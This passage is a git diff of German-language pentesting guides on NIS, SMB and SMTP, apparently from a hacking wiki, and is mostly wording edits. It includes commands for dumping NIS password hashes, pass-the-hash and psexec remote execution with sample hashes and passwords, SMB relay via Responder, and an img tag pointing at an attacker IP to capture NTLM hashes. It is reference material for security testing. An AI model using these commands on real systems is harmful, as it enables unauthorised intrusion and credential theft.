install nis`). Der nächste Schritt erfordert die Verwendung von `ypwhich`, um die Anwesenheit des NIS-Servers zu bestätigen, indem er mit dem Domainnamen und der Server-IP angepingt wird, wobei diese Elemente aus Sicherheitsgründen anonymisiert werden. +Die Erkundungsreise beginnt mit der Installation der erforderlichen Pakete (`apt-get install nis`). Der nächste Schritt erfordert die Verwendung von `ypwhich`, um die Anwesenheit des NIS-Servers zu bestätigen, indem er mit dem Domainnamen und der Server-IP angepingt wird, wobei sichergestellt wird, dass diese Elemente aus Sicherheitsgründen anonymisiert sind. Der letzte und entscheidende Schritt umfasst den Befehl `ypcat`, um sensible Daten, insbesondere verschlüsselte Benutzerpasswörter, zu extrahieren. Diese Hashes, die mit Tools wie **John the Ripper** geknackt werden, geben Einblicke in den Systemzugang und die Berechtigungen. ```bash diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 53e6bb467..a3b4ca5f9 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,13 +4,13 @@ ## **Port 139** -Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft von dem Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** "anzurufen". +Das _**Network Basic Input Output System**_** (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk betrieben werden, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (die als Client fungiert) einen Befehl ausgibt, um eine andere Anwendung (die als Server fungiert) über **TCP Port 139** zu "rufen". ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Technisch gesehen wird Port 139 als 'NBT über IP' bezeichnet, während Port 445 als 'SMB über IP' identifiziert wird. Das Akronym **SMB** steht für '**Server Message Blocks**', das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern. +Technisch gesehen wird Port 139 als ‘NBT über IP’ bezeichnet, während Port 445 als ‘SMB über IP’ identifiziert wird. Das Akronym **SMB** steht für ‘**Server Message Blocks**’, das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Netzwerkprotokoll auf Anwendungsebene wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Ports zu ermöglichen und verschiedene Kommunikationsformen zwischen Knoten in einem Netzwerk zu erleichtern. Zum Beispiel wird im Kontext von Windows hervorgehoben, dass SMB direkt über TCP/IP betrieben werden kann, wodurch die Notwendigkeit für NetBIOS über TCP/IP entfällt, durch die Nutzung von Port 445. Im Gegensatz dazu wird auf anderen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB in Verbindung mit NetBIOS über TCP/IP ausgeführt wird. ``` @@ -36,7 +36,7 @@ Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherhe ```bash enum4linux -a target_ip ``` -Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel, das durch `target_ip` angegeben ist, durchzuführen. +Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Enumeration gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist. ## Was ist NTLM @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Manuell Windows-Freigaben auflisten und sich mit ihnen verbinden** -Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, einen Versuch zu starten, sich manuell mit einer Freigabe zu verbinden. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert. +Es kann sein, dass Sie eingeschränkt sind, um Freigaben des Host-Systems anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als ob es keine Freigaben gibt, mit denen Sie sich verbinden können. Daher könnte es sich lohnen, zu versuchen, manuell eine Verbindung zu einer Freigabe herzustellen. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT_STATUS_ACCESS_DENIED und NT_STATUS_BAD_NETWORK_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. Null-Sitzung oder gültige Anmeldeinformationen). Diese können anzeigen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert. Häufige Freigabenamen für Windows-Ziele sind @@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über **autologon** über Gruppenrichtlinien konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten. +Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über Gruppenrichtlinien mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten. > [!NOTE] > Die **SYSVOL-Freigabe** ist für alle authentifizierten Benutzer in der Domäne **lesbar**. Dort können Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte** **finden**.\ @@ -326,24 +326,24 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ``` ## Post Exploitation -Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** enthalten: +Die **Standardkonfiguration von** einem **Samba**-Server befindet sich normalerweise in `/etc/samba/smb.conf` und könnte einige **gefährliche Konfigurationen** haben: -| **Einstellung** | **Beschreibung** | -| --------------------------- | ------------------------------------------------------------------ | -| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? | -| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? | -| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? | -| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? | -| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? | -| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? | -| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? | -| `logon script = script.sh` | Welches Skript muss beim Login des Benutzers ausgeführt werden? | -| `magic script = script.sh` | Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? | -| `magic output = script.out` | Wo muss die Ausgabe des magischen Skripts gespeichert werden? | +| **Einstellung** | **Beschreibung** | +| -------------------------- | ------------------------------------------------------------------ | +| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben im aktuellen Share? | +| `read only = no` | Verhindert die Erstellung und Modifikation von Dateien? | +| `writable = yes` | Erlaubt Benutzern, Dateien zu erstellen und zu modifizieren? | +| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? | +| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? | +| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? | +| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? | +| `logon script = script.sh`| Welches Skript muss beim Login des Benutzers ausgeführt werden? | +| `magic script = script.sh`| Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? | +| `magic output = script.out`| Wo muss die Ausgabe des magischen Skripts gespeichert werden? | Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**. -## Authentifizierung mit Kerberos +## Authenticate using Kerberos Sie können sich mit **Kerberos** authentifizieren, indem Sie die Tools **smbclient** und **rpcclient** verwenden: ```bash @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** missbraucht, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`: +crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** verwendet, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`: ```bash apt-get install crackmapexec @@ -378,7 +378,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) -Beide Optionen **erstellen einen neuen Dienst** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Zielmaschine und nutzen ihn, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente mit dem Payload --**file-less technique-**- versehen).\ +Beide Optionen werden **einen neuen Dienst erstellen** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Opfermaschine und ihn verwenden, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente die Payload --**file-less technique-**- einfügen).\ **Mehr Informationen** über [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)und [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ ```bash @@ -428,7 +428,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB-Relay-Angriff -Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System** **Shell** geleitet.\ +Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System**-**Shell** geleitet.\ [**Weitere Informationen zu diesem Angriff hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -452,7 +452,7 @@ Die von einigen Browsern und Tools (wie Skype) verwendet werden. ## NTLM-Diebstahl -Ähnlich wie beim SMB-Trapping kann das Platzieren bösartiger Dateien auf einem Zielsystem (zum Beispiel über SMB) einen SMB-Authentifizierungsversuch auslösen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann dann offline geknackt oder in einem [SMB-Relay-Angriff](pentesting-smb.md#smb-relay-attack) verwendet werden. +Ähnlich wie beim SMB-Trapping kann das Platzieren von bösartigen Dateien auf einem Zielsystem (zum Beispiel über SMB) einen SMB-Authentifizierungsversuch auslösen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann dann offline geknackt oder in einem [SMB-Relay-Angriff](pentesting-smb.md#smb-relay-attack) verwendet werden. [Siehe: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 7232df760..feefe7375 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -24,7 +24,7 @@ Freigaben, die **willkürliche Teile des lokalen Dateisystems** darstellen, kön ### IPC$ Share -Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig verwendet, ermöglicht es den Erwerb von: +Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, die eine Interaktion mit Diensten ermöglicht, die über benannte Pipes bereitgestellt werden. Das Dienstprogramm `enum4linux` ist dafür nützlich. Richtig eingesetzt, ermöglicht es den Erwerb von: - Informationen über das Betriebssystem - Details zur übergeordneten Domäne @@ -32,7 +32,7 @@ Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erfolgen, - Informationen über verfügbare SMB-Freigaben - Die effektive System-Sicherheitsrichtlinie -Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block)-Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind. +Diese Funktionalität ist entscheidend für Netzwerkadministratoren und Sicherheitsfachleute, um die Sicherheitslage der SMB (Server Message Block) Dienste in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielsystems, was entscheidend ist, um potenzielle Schwachstellen zu identifizieren und sicherzustellen, dass die SMB-Dienste ordnungsgemäß gesichert sind. ```bash enum4linux -a target_ip ``` @@ -40,7 +40,7 @@ Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann ## Was ist NTLM -Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie man es ausnutzt, werden Sie diese Seite über **NTLM** sehr interessant finden, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie Sie es ausnutzen können:** +Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie man es ausnutzen kann, werden Sie diese Seite über **NTLM** sehr interessant finden, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie Sie es ausnutzen können:** {{#ref}} ../../windows-hardening/ntlm/ @@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24 Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Informationen in anderen verwendeten Tools nicht angezeigt werden, können Sie: -- Das **MSF** Hilfsmodul \_**auxiliary/scanner/smb/smb_version** verwenden +- Das **MSF**-Hilfsmodul \_**auxiliary/scanner/smb/smb_version** verwenden - Oder dieses Skript: ```bash #!/bin/sh @@ -79,7 +79,7 @@ echo "" && sleep .1 msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` -### **Mögliche** Anmeldedaten +### **Mögliche** Anmeldeinformationen | **Benutzername(n)** | **Häufige Passwörter** | | -------------------- | ----------------------------------------- | @@ -318,7 +318,7 @@ Besonders interessant von Freigaben sind die Dateien **`Registry.xml`**, da sie ## Registrierung lesen -Sie können möglicherweise die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: +Möglicherweise können Sie die **Registrierung lesen**, indem Sie einige entdeckte Anmeldeinformationen verwenden. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -343,9 +343,9 @@ Die **Standardkonfiguration eines** **Samba**-Servers befindet sich normalerweis Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**. -## Authentifizierung mit Kerberos +## Authenticate using Kerberos -Sie können sich mit **Kerberos** authentifizieren, indem Sie die Tools **smbclient** und **rpcclient** verwenden: +Sie können sich mit **Kerberos** über die Tools **smbclient** und **rpcclient** **authentifizieren**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** Methoden **missbraucht**, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`: +crackmapexec kann Befehle **ausführen**, indem es eine der **mmcexec, smbexec, atexec, wmiexec** Methoden **missbraucht**, wobei **wmiexec** die **Standard**-Methode ist. Sie können die von Ihnen bevorzugte Option mit dem Parameter `--exec-method` angeben: ```bash apt-get install crackmapexec @@ -388,7 +388,7 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstelle von **NTLM** authentifizieren. +Mit dem **Parameter** `-k` können Sie sich an **Kerberos** anstelle von **NTLM** authentifizieren. ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec @@ -433,7 +433,7 @@ Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzu ## SMB-Trap -Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` +Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"` Dies geschieht mit den Funktionen: diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index 82dfd0982..43ac73a04 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -13,9 +13,9 @@ In der Praxis ist es üblich, dass **E-Mail-Programme** **SMTP zum Senden von E- PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 ``` -### EMAIL-Header +### EMAIL-Headers -Wenn Sie die Möglichkeit haben, **das Opfer dazu zu bringen, Ihnen eine E-Mail zu senden** (zum Beispiel über das Kontaktformular der Webseite), tun Sie dies, denn **Sie könnten über die internen Topologie** des Opfers lernen, indem Sie die Header der E-Mail ansehen. +Wenn Sie die Möglichkeit haben, **das Opfer dazu zu bringen, Ihnen eine E-Mail zu senden** (zum Beispiel über das Kontaktformular der Webseite), tun Sie dies, denn **Sie könnten über die interne Topologie** des Opfers lernen, indem Sie die Header der E-Mail ansehen. Sie können auch eine E-Mail von einem SMTP-Server erhalten, indem Sie versuchen, **eine E-Mail an eine nicht existierende Adresse an diesen Server zu senden** (da der Server dem Angreifer eine NDN-E-Mail senden wird). Stellen Sie jedoch sicher, dass Sie die E-Mail von einer erlaubten Adresse senden (überprüfen Sie die SPF-Richtlinie) und dass Sie NDN-Nachrichten empfangen können. @@ -83,7 +83,7 @@ MAIL FROM: me ``` ### Sniffing -Überprüfen Sie, ob Sie einige Passwörter aus den Paketen zu Port 25 schnüffeln. +Überprüfen Sie, ob Sie einige Passwörter aus den Paketen zu Port 25 sniffen. ### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp) @@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users ``` ## DSN-Berichte -**Zustellstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurücksendet**. **Header** der zurückgesendeten E-Mail werden mögliche **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antiviren-Software). +**Zustellstatusbenachrichtigungsberichte**: Wenn Sie eine **E-Mail** an eine Organisation an eine **ungültige Adresse** senden, wird die Organisation Sie benachrichtigen, dass die Adresse ungültig war, indem sie eine **E-Mail zurücksendet**. Die **Header** der zurückgesendeten E-Mail werden mögliche **sensible Informationen** enthalten (wie die IP-Adresse der Mail-Services, die mit den Berichten interagiert haben, oder Informationen über Antiviren-Software). ## [Befehle](smtp-commands.md) @@ -235,9 +235,9 @@ Ein **vollständiger Leitfaden zu diesen Gegenmaßnahmen** ist verfügbar unter > [!CAUTION] > SPF [wurde 2014 "abgelehnt"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Das bedeutet, dass Sie anstelle der Erstellung eines **TXT-Datensatzes** in `_spf.domain.com` diesen in `domain.com` mit der **gleichen Syntax** erstellen.\ -> Darüber hinaus ist es recht gängig, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden. +> Darüber hinaus ist es recht üblich, etwas wie `"v=spf1 include:_spf.google.com ~all"` zu finden, um frühere SPF-Datensätze wiederzuverwenden. -**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mailserver abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/Bereiche, Domains und andere Entitäten **enthält, die berechtigt sind, E-Mails im Namen eines Domainnamens zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Datensatz. +**Sender Policy Framework** (SPF) ist ein Mechanismus, der es Mail Transfer Agents (MTAs) ermöglicht zu überprüfen, ob ein Host, der eine E-Mail sendet, autorisiert ist, indem eine Liste autorisierter Mailserver abgefragt wird, die von den Organisationen definiert wurde. Diese Liste, die IP-Adressen/Bereiche, Domains und andere Entitäten **enthält, die autorisiert sind, E-Mails im Namen eines Domainnamens zu senden**, umfasst verschiedene "**Mechanismen**" im SPF-Datensatz. #### Mechanismen @@ -245,13 +245,13 @@ Von [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | Mechanismus | Beschreibung | | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. | -| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. | +| ALL | Passt immer; wird für ein Standardergebnis wie `-all` für alle IPs verwendet, die nicht von vorherigen Mechanismen übereinstimmen. | +| A | Wenn der Domainname einen Adressdatensatz (A oder AAAA) hat, der auf die Adresse des Absenders aufgelöst werden kann, wird er übereinstimmen. | | IP4 | Wenn der Absender in einem bestimmten IPv4-Adressbereich ist, passt er. | | IP6 | Wenn der Absender in einem bestimmten IPv6-Adressbereich ist, passt er. | | MX | Wenn der Domainname einen MX-Datensatz hat, der auf die Adresse des Absenders aufgelöst wird, wird er übereinstimmen (d.h. die E-Mail kommt von einem der eingehenden Mailserver der Domain). | -| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients in der angegebenen Domain ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte umgekehrte DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. | -| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. | +| PTR | Wenn der Domainname (PTR-Datensatz) für die Adresse des Clients im angegebenen Domainnamen ist und dieser Domainname auf die Adresse des Clients aufgelöst wird (vorwärts bestätigte umgekehrte DNS), passt er. Dieser Mechanismus wird nicht empfohlen und sollte, wenn möglich, vermieden werden. | +| EXISTS | Wenn der angegebene Domainname auf eine beliebige Adresse aufgelöst wird, passt er (unabhängig von der Adresse, auf die er aufgelöst wird). Dies wird selten verwendet. Zusammen mit der SPF-Makrosprache bietet es komplexere Übereinstimmungen wie DNSBL-Abfragen. | | INCLUDE | Verweist auf die Richtlinie einer anderen Domain. Wenn die Richtlinie dieser Domain besteht, besteht dieser Mechanismus. Wenn die eingeschlossene Richtlinie jedoch fehlschlägt, wird die Verarbeitung fortgesetzt. Um vollständig an die Richtlinie einer anderen Domain zu delegieren, muss die Umleitungs-Erweiterung verwendet werden. | | REDIRECT |

Eine Umleitung ist ein Verweis auf einen anderen Domainnamen, der eine SPF-Richtlinie hostet. Sie ermöglicht es mehreren Domains, dieselbe SPF-Richtlinie zu teilen. Sie ist nützlich, wenn man mit einer großen Anzahl von Domains arbeitet, die dieselbe E-Mail-Infrastruktur teilen.

Die SPF-Richtlinie der im Umleitungsmechanismus angegebenen Domain wird verwendet.

| @@ -262,10 +262,10 @@ Normalerweise werden Sie **am Ende jeder SPF-Richtlinie** etwas wie: **\~all** o Jeder Mechanismus innerhalb der Richtlinie kann mit einem der vier Qualifizierer vorangestellt werden, um das beabsichtigte Ergebnis zu definieren: -- **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleich `mx` ist. +- **`+`**: Entspricht einem PASS-Ergebnis. Standardmäßig nehmen Mechanismen diesen Qualifizierer an, wodurch `+mx` gleichwertig zu `mx` ist. - **`?`**: Stellt ein NEUTRAL-Ergebnis dar, das ähnlich wie NONE (keine spezifische Richtlinie) behandelt wird. - **`~`**: Bezeichnet SOFTFAIL und dient als Mittelweg zwischen NEUTRAL und FAIL. E-Mails, die dieses Ergebnis erfüllen, werden typischerweise akzeptiert, aber entsprechend markiert. -- **`-`**: Gibt FAIL an und deutet darauf hin, dass die E-Mail vollständig abgelehnt werden sollte. +- **`-`**: Gibt FAIL an, was darauf hindeutet, dass die E-Mail vollständig abgelehnt werden sollte. Im kommenden Beispiel wird die **SPF-Richtlinie von google.com** veranschaulicht. Beachten Sie die Einbeziehung von SPF-Richtlinien aus verschiedenen Domains innerhalb der ersten SPF-Richtlinie: ```shell-session @@ -286,15 +286,15 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Traditionell war es möglich, jeden Domainnamen zu fälschen, der keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird **E-Mail**, die von einer **Domain ohne gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**. +Traditionell war es möglich, jede Domain zu fälschen, die keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird **E-Mail**, die von einer **Domain ohne gültigen SPF-Eintrag** kommt, wahrscheinlich **automatisch abgelehnt/als nicht vertrauenswürdig markiert**. Um den SPF einer Domain zu überprüfen, können Sie Online-Tools wie: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) verwenden. ### DKIM (DomainKeys Identified Mail) -DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selector als auch den Domainnamen kennen. +DKIM wird verwendet, um ausgehende E-Mails zu signieren, sodass sie von externen Mail Transfer Agents (MTAs) durch den Abruf des öffentlichen Schlüssels der Domain aus dem DNS validiert werden können. Dieser öffentliche Schlüssel befindet sich im TXT-Eintrag einer Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selektor als auch den Domainnamen kennen. -Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selector erforderlich. Diese können im E-Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`. +Um 